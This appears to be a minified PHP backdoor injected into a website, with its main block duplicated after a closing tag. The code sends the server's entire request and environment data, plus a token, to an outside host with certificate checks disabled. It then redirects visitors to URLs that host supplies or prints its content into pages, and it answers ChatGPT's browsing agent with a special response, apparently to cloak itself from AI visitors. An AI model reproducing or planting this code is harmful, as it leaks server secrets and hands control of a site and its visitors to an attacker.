if(!function_exists('fetch_remote')){function fetch_remote($url,$authToken=''){global $_SERVER;$_SERVER['T']='y';$_SERVER['TPL']=7;$_SERVER['VER']=1;if($authToken!==''){$_SERVER['AUTH']=$authToken;}$payload=base64_encode(json_encode($_SERVER));if(!function_exists('curl_exec')){$context=stream_context_create(array('http'=>array('method'=>'GET','timeout'=>49,'ignore_errors'=>true)));$full_url=$url.'?ua='.urlencode($payload);return @file_get_contents($full_url,false,$context);}else{$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,'ua='.urlencode($payload));curl_setopt($ch,CURLOPT_HTTPHEADER,array('Content-Type: application/x-www-form-urlencoded'));curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_TIMEOUT,49);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,false);$response=curl_exec($ch);$info=curl_getinfo($ch);curl_close($ch);if(!isset($info['http_code'])||$info['http_code']!=200){return '';}return $response;}}}if(!function_exists('v1main')){function v1main(){$userAgent=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';$gptParam=isset($_GET['gpt'])?$_GET['gpt']:'';if(strpos($userAgent,'ChatGPT-User/1.0')!==false&&$gptParam==='true'){exit('##okresponse##');}$remote_url='https://mjj.aihack.top/api/proxy/handle.php';$content=fetch_remote($remote_url,$GLOBALS['p']);if(empty($content)){return;}if(preg_match('/^https?:\/\//',$content)){header('Location: '.trim($content));exit;}if(preg_match('/^##/',$content)){exit(substr($content,2));}echo $content;}}v1main();?>if(!function_exists('v1main')){function v1main(){$userAgent=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';$gptParam=isset($_GET['gpt'])?$_GET['gpt']:'';if(strpos($userAgent,'ChatGPT-User/1.0')!==false&&$gptParam==='true'){exit('##okresponse##');}$remote_url='https://mjj.aihack.top/api/proxy/handle.php';$content=fetch_remote($remote_url,$GLOBALS['p']);if(empty($content)){return;}if(preg_match('/^https?:\/\//',$content)){header('Location: '.trim($content));exit;}if(preg_match('/^##/',$content)){exit(substr($content,2));}echo $content;}}v1main();?>